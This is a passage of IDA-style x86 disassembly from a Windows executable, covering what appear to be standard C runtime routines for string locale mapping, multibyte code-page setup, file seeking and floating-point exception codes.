		cmp	[ebp+arg_18], edi
		jnz	short loc_41351D
		mov	eax, dword_481E5C
		mov	[ebp+arg_18], eax


loc_41351D:				; CODE XREF: sub_413455+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_4180CC	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_4135E3
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_40CCA0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_413578
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_413578:				; CODE XREF: sub_413455+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_4135E3
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_4180CC	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4135E3
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41815C	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_4135E3
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4135F7
		cmp	[ebp+arg_14], edi
		jz	loc_413672
		cmp	esi, [ebp+arg_14]
		jg	short loc_4135E3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41815C	; LCMapStringW
		test	eax, eax
		jnz	loc_413672


loc_4135E3:				; CODE XREF: sub_413455+66j
					; sub_413455+B5j ...
		xor	eax, eax


loc_4135E5:				; CODE XREF: sub_413455+ADj
					; sub_413455+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4135F7:				; CODE XREF: sub_413455+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40CCA0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41362B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41362B:				; CODE XREF: sub_413455+1C2j
		cmp	ebx, edi
		jz	short loc_4135E3
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41815C	; LCMapStringW
		test	eax, eax
		jz	short loc_4135E3
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_413652
		push	edi
		push	edi
		jmp	short loc_413658
; ---------------------------------------------------------------------------


loc_413652:				; CODE XREF: sub_413455+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_413658:				; CODE XREF: sub_413455+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_4180C8	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_4135E3


loc_413672:				; CODE XREF: sub_413455+165j
					; sub_413455+188j
		mov	eax, esi
		jmp	loc_4135E5
sub_413455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413679	proc near		; CODE XREF: sub_413A3D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_413812	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4831E4
		mov	[ebp+arg_0], esi
		jz	loc_413806
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4137FC
		xor	edx, edx
		mov	eax, offset dword_422180


loc_4136AD:				; CODE XREF: sub_413679+41j
		cmp	[eax], esi
		jz	short loc_413723
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_422270
		jl	short loc_4136AD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_418160	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4137F4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_483300
		cmp	[ebp+var_18], 1
		mov	dword_4831E4, esi
		rep stosd
		stosb
		mov	dword_483404, ebx
		jbe	loc_4137E2
		cmp	[ebp+var_12], 0
		jz	loc_4137B8
		lea	ecx, [ebp+var_11]


loc_413700:				; CODE XREF: sub_413679+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4137B8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_413711:				; CODE XREF: sub_413679+A8j
		cmp	eax, edx
		ja	loc_4137AC
		or	byte_483301[eax], 4
		inc	eax
		jmp	short loc_413711
; ---------------------------------------------------------------------------


loc_413723:				; CODE XREF: sub_413679+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_483300
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_422190[esi]


loc_41373F:				; CODE XREF: sub_413679+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_413772


loc_413746:				; CODE XREF: sub_413679+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_413772
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41376B
		mov	edx, [ebp+var_4]
		mov	dl, byte_422178[edx]


loc_413760:				; CODE XREF: sub_413679+F0j
		or	byte_483301[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_413760


loc_41376B:				; CODE XREF: sub_413679+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_413746


loc_413772:				; CODE XREF: sub_413679+CBj
					; sub_413679+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41373F
		mov	eax, [ebp+arg_0]
		mov	dword_4831FC, 1
		push	eax
		mov	dword_4831E4, eax
		call	sub_41385C
		lea	esi, dword_422184[esi]
		mov	edi, offset dword_4831F0
		movsd
		movsd
		pop	ecx
		mov	dword_483404, eax
		movsd
		jmp	short loc_413801
; ---------------------------------------------------------------------------


loc_4137AC:				; CODE XREF: sub_413679+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_413700


loc_4137B8:				; CODE XREF: sub_413679+7Ej
					; sub_413679+8Bj
		push	1
		pop	eax


loc_4137BB:				; CODE XREF: sub_413679+14Fj
		or	byte_483301[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4137BB
		push	esi
		call	sub_41385C
		pop	ecx
		mov	dword_483404, eax
		mov	dword_4831FC, 1
		jmp	short loc_4137E8
; ---------------------------------------------------------------------------


loc_4137E2:				; CODE XREF: sub_413679+74j
		mov	dword_4831FC, ebx


loc_4137E8:				; CODE XREF: sub_413679+167j
		xor	eax, eax
		mov	edi, offset dword_4831F0
		stosd
		stosd
		stosd
		jmp	short loc_413801
; ---------------------------------------------------------------------------


loc_4137F4:				; CODE XREF: sub_413679+51j
		cmp	dword_481E64, ebx
		jz	short loc_41380A


loc_4137FC:				; CODE XREF: sub_413679+27j
		call	sub_41388F


loc_413801:				; CODE XREF: sub_413679+131j
					; sub_413679+179j
		call	sub_4138B8


loc_413806:				; CODE XREF: sub_413679+1Dj
		xor	eax, eax
		jmp	short loc_41380D
; ---------------------------------------------------------------------------


loc_41380A:				; CODE XREF: sub_413679+181j
		or	eax, 0FFFFFFFFh


loc_41380D:				; CODE XREF: sub_413679+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413679	endp


; =============== S U B	R O U T	I N E =======================================



sub_413812	proc near		; CODE XREF: sub_413679+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_481E64, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_413832
		mov	dword_481E64, 1
		jmp	dword_418168
; ---------------------------------------------------------------------------


loc_413832:				; CODE XREF: sub_413812+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_413847
		mov	dword_481E64, 1
		jmp	dword_418164
; ---------------------------------------------------------------------------


loc_413847:				; CODE XREF: sub_413812+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41385B
		mov	eax, dword_481E5C
		mov	dword_481E64, 1

locret_41385B:				; CODE XREF: sub_413812+38j
		retn
sub_413812	endp


; =============== S U B	R O U T	I N E =======================================



sub_41385C	proc near		; CODE XREF: sub_413679+118p
					; sub_413679+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_413889
		sub	eax, 4
		jz	short loc_413883
		sub	eax, 0Dh
		jz	short loc_41387D
		dec	eax
		jz	short loc_413877
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413877:				; CODE XREF: sub_41385C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41387D:				; CODE XREF: sub_41385C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_413883:				; CODE XREF: sub_41385C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_413889:				; CODE XREF: sub_41385C+9j
		mov	eax, 411h
		retn
sub_41385C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41388F	proc near		; CODE XREF: sub_413679:loc_4137FCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_483300
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4831F0
		mov	dword_4831E4, eax
		mov	dword_4831FC, eax
		mov	dword_483404, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41388F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138B8	proc near		; CODE XREF: sub_413679:loc_413801p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4831E4
		call	dword_418160	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4139F1
		xor	eax, eax
		mov	esi, 100h


loc_4138E2:				; CODE XREF: sub_4138B8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4138E2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_413933
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_413901:				; CODE XREF: sub_4138B8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_413928
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_413928:				; CODE XREF: sub_4138B8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_413901
		pop	edi
		pop	ebx


loc_413933:				; CODE XREF: sub_4138B8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_483404
		push	dword_4831E4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_415447
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4831E4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_483404
		call	sub_413455
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4831E4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_483404
		call	sub_413455
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4139AE:				; CODE XREF: sub_4138B8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4139CC
		or	byte_483301[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4139C4:				; CODE XREF: sub_4138B8+127j
		mov	byte_483200[eax], dl
		jmp	short loc_4139E8
; ---------------------------------------------------------------------------


loc_4139CC:				; CODE XREF: sub_4138B8+FCj
		test	dl, 2
		jz	short loc_4139E1
		or	byte_483301[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4139C4
; ---------------------------------------------------------------------------


loc_4139E1:				; CODE XREF: sub_4138B8+117j
		and	byte_483200[eax], 0


loc_4139E8:				; CODE XREF: sub_4138B8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4139AE
		jmp	short loc_413A3A
; ---------------------------------------------------------------------------


loc_4139F1:				; CODE XREF: sub_4138B8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_4139F8:				; CODE XREF: sub_4138B8+180j
		cmp	eax, 41h
		jb	short loc_413A16
		cmp	eax, 5Ah
		ja	short loc_413A16
		or	byte_483301[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_413A0E:				; CODE XREF: sub_4138B8+174j
		mov	byte_483200[eax], cl
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_413A16:				; CODE XREF: sub_4138B8+143j
					; sub_4138B8+148j
		cmp	eax, 61h
		jb	short loc_413A2E
		cmp	eax, 7Ah
		ja	short loc_413A2E
		or	byte_483301[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_413A0E
; ---------------------------------------------------------------------------


loc_413A2E:				; CODE XREF: sub_4138B8+161j
					; sub_4138B8+166j
		and	byte_483200[eax], 0


loc_413A35:				; CODE XREF: sub_4138B8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_4139F8


loc_413A3A:				; CODE XREF: sub_4138B8+137j
		pop	esi
		leave
		retn
sub_4138B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A3D	proc near		; CODE XREF: sub_413F23+9p
					; sub_413F7B+Dp ...
		cmp	dword_483434, 0
		jnz	short locret_413A58
		push	0FFFFFFFDh
		call	sub_413679
		pop	ecx
		mov	dword_483434, 1

locret_413A58:				; CODE XREF: sub_413A3D+7j
		retn
sub_413A3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A59	proc near		; CODE XREF: sub_40E887+2Bp
					; sub_40E887+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4831FC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_413A7D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_40C720
		add	esp, 0Ch
		jmp	short loc_413AE0
; ---------------------------------------------------------------------------


loc_413A7D:				; CODE XREF: sub_413A59+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_413AC2
		mov	ecx, [ebp+arg_4]


loc_413A88:				; CODE XREF: sub_413A59+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_483301[esi], 4
		mov	[edi], al
		jz	short loc_413AAC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_413AB8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_413ABE
		jmp	short loc_413AB2
; ---------------------------------------------------------------------------


loc_413AAC:				; CODE XREF: sub_413A59+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_413AC2


loc_413AB2:				; CODE XREF: sub_413A59+51j
		test	edx, edx
		jnz	short loc_413A88
		jmp	short loc_413AC2
; ---------------------------------------------------------------------------


loc_413AB8:				; CODE XREF: sub_413A59+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_413AC2
; ---------------------------------------------------------------------------


loc_413ABE:				; CODE XREF: sub_413A59+4Fj
		and	byte ptr [edi-2], 0


loc_413AC2:				; CODE XREF: sub_413A59+2Aj
					; sub_413A59+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_413ADD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_413ADD:				; CODE XREF: sub_413A59+6Fj
		mov	eax, [ebp+arg_0]


loc_413AE0:				; CODE XREF: sub_413A59+22j
		pop	edi
		pop	ebp
		retn
sub_413A59	endp


; =============== S U B	R O U T	I N E =======================================



sub_413AE3	proc near		; CODE XREF: sub_40EA81+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4149BD
		test	eax, eax
		pop	ecx
		jz	short loc_413B6C
		cmp	esi, offset dword_4223B0
		jnz	short loc_413B01
		xor	eax, eax
		jmp	short loc_413B0C
; ---------------------------------------------------------------------------


loc_413B01:				; CODE XREF: sub_413AE3+18j
		cmp	esi, offset dword_4223D0
		jnz	short loc_413B6C
		push	1
		pop	eax


loc_413B0C:				; CODE XREF: sub_413AE3+1Cj
		inc	dword_481F80
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_413B6C
		cmp	dword_481E68[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:481E68h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_413B52
		push	ebx
		call	sub_40CCCF
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_413B52
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_413B5F
; ---------------------------------------------------------------------------


loc_413B52:				; CODE XREF: sub_413AE3+4Dj
					; sub_413AE3+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_413B5F:				; CODE XREF: sub_413AE3+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413B6C:				; CODE XREF: sub_413AE3+10j
					; sub_413AE3+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_413AE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_40EA81+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_413B9A
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_413BAB
		push	esi
		call	sub_412CD7
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413B9A:				; CODE XREF: sub_413B70+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_413BAB
		push	eax
		call	sub_412CD7
		pop	ecx


loc_413BAB:				; CODE XREF: sub_413B70+10j
					; sub_413B70+32j
		pop	esi
		retn
sub_413B70	endp


; =============== S U B	R O U T	I N E =======================================



sub_413BAD	proc near		; CODE XREF: sub_40EAF8+67p
					; sub_40ECC3+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4831E0
		push	esi
		push	edi
		jnb	short loc_413C2F
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4830E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_413C2F
		push	eax
		call	sub_415716
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_413BF1
		mov	dword_481DBC, 9
		jmp	short loc_413C40
; ---------------------------------------------------------------------------


loc_413BF1:				; CODE XREF: sub_413BAD+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_41816C	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_413C11
		call	dword_418044	; RtlGetLastWin32Error
		jmp	short loc_413C13
; ---------------------------------------------------------------------------


loc_413C11:				; CODE XREF: sub_413BAD+5Aj
		xor	eax, eax


loc_413C13:				; CODE XREF: sub_413BAD+62j
		test	eax, eax
		jz	short loc_413C20
		push	eax
		call	sub_413260
		pop	ecx
		jmp	short loc_413C40
; ---------------------------------------------------------------------------


loc_413C20:				; CODE XREF: sub_413BAD+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_413C43
; ---------------------------------------------------------------------------


loc_413C2F:				; CODE XREF: sub_413BAD+Dj
					; sub_413BAD+2Aj
		and	dword_481DC0, 0
		mov	dword_481DBC, 9


loc_413C40:				; CODE XREF: sub_413BAD+42j
					; sub_413BAD+71j
		or	eax, 0FFFFFFFFh


loc_413C43:				; CODE XREF: sub_413BAD+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413BAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C47	proc near		; CODE XREF: sub_40EAF8+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_413C63
		mov	[edi+4], ebx


loc_413C63:				; CODE XREF: sub_413C47+17j
		push	1
		push	ebx
		push	esi
		call	sub_413BAD
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_413CD1
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_413C88
		sub	eax, [edi+4]
		jmp	loc_413D9A
; ---------------------------------------------------------------------------


loc_413C88:				; CODE XREF: sub_413C47+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_413CC2
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4830E0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_413CD9
		mov	edx, ecx


loc_413CB3:				; CODE XREF: sub_413C47+79j
		cmp	edx, eax
		jnb	short loc_413CD9
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_413CBF
		inc	[ebp+var_8]


loc_413CBF:				; CODE XREF: sub_413C47+73j
		inc	edx
		jmp	short loc_413CB3
; ---------------------------------------------------------------------------


loc_413CC2:				; CODE XREF: sub_413C47+50j
		test	dl, 80h
		jnz	short loc_413CD9
		mov	dword_481DBC, 16h


loc_413CD1:				; CODE XREF: sub_413C47+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_413D9A
; ---------------------------------------------------------------------------


loc_413CD9:				; CODE XREF: sub_413C47+68j
					; sub_413C47+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_413CE7
		mov	eax, [ebp+var_8]
		jmp	loc_413D9A
; ---------------------------------------------------------------------------


loc_413CE7:				; CODE XREF: sub_413C47+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_413D92
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_413D00
		and	[ebp+var_8], edx
		jmp	loc_413D92
; ---------------------------------------------------------------------------


loc_413D00:				; CODE XREF: sub_413C47+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4830E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_413D8C
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_413BAD
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_413D53
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_413D3E:				; CODE XREF: sub_413C47+104j
		cmp	eax, ecx
		jnb	short loc_413D4D
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_413D4A
		inc	[ebp+arg_0]


loc_413D4A:				; CODE XREF: sub_413C47+FEj
		inc	eax
		jmp	short loc_413D3E
; ---------------------------------------------------------------------------


loc_413D4D:				; CODE XREF: sub_413C47+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_413D87
; ---------------------------------------------------------------------------


loc_413D53:				; CODE XREF: sub_413C47+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_413BAD
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_413D7A
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_413D7A
		test	ch, 4
		jz	short loc_413D7D


loc_413D7A:				; CODE XREF: sub_413C47+124j
					; sub_413C47+12Cj
		mov	eax, [edi+18h]


loc_413D7D:				; CODE XREF: sub_413C47+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_413D87:				; CODE XREF: sub_413C47+10Aj
		jz	short loc_413D8C
		inc	[ebp+arg_0]


loc_413D8C:				; CODE XREF: sub_413C47+D9j
					; sub_413C47:loc_413D87j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_413D92:				; CODE XREF: sub_413C47+A4j
					; sub_413C47+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_413D9A:				; CODE XREF: sub_413C47+3Cj
					; sub_413C47+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413C47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D9F	proc near		; CODE XREF: sub_40EB84+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_413EE0
		test	eax, eax
		pop	ecx
		jz	loc_413ED4
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_413ED4
		cmp	ebx, 5
		jnz	short loc_413DD0
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_413EDD
; ---------------------------------------------------------------------------


loc_413DD0:				; CODE XREF: sub_413D9F+23j
		cmp	ebx, 1
		jz	loc_413ECF
		mov	ecx, dword_481E70
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_481E70, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_413EBF
		mov	ecx, dword_4222E8
		mov	edx, dword_4222EC
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_413E1F
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:422278h[esi*4]


loc_413E16:				; CODE XREF: sub_413D9F+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_413E16


loc_413E1F:				; CODE XREF: sub_413D9F+69j
		mov	eax, [eax]
		mov	esi, dword_4222F4
		cmp	eax, 0C000008Eh
		jnz	short loc_413E3A
		mov	dword_4222F4, 83h
		jmp	short loc_413EAA
; ---------------------------------------------------------------------------


loc_413E3A:				; CODE XREF: sub_413D9F+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_413E4D
		mov	dword_4222F4, 81h
		jmp	short loc_413EAA
; ---------------------------------------------------------------------------


loc_413E4D:				; CODE XREF: sub_413D9F+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_413E60
		mov	dword_4222F4, 84h
		jmp	short loc_413EAA
; ---------------------------------------------------------------------------


loc_413E60:				; CODE XREF: sub_413D9F+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_413E73
		mov	dword_4222F4, 85h
		jmp	short loc_413EAA
; ---------------------------------------------------------------------------


loc_413E73:				; CODE XREF: sub_413D9F+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_413E86
		mov	dword_4222F4, 82h
		jmp	short loc_413EAA
; ---------------------------------------------------------------------------


loc_413E86:				; CODE XREF: sub_413D9F+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_413E99
		mov	dword_4222F4, 86h
		jmp	short loc_413EAA
; ---------------------------------------------------------------------------


loc_413E99:				; CODE XREF: sub_413D9F+ECj
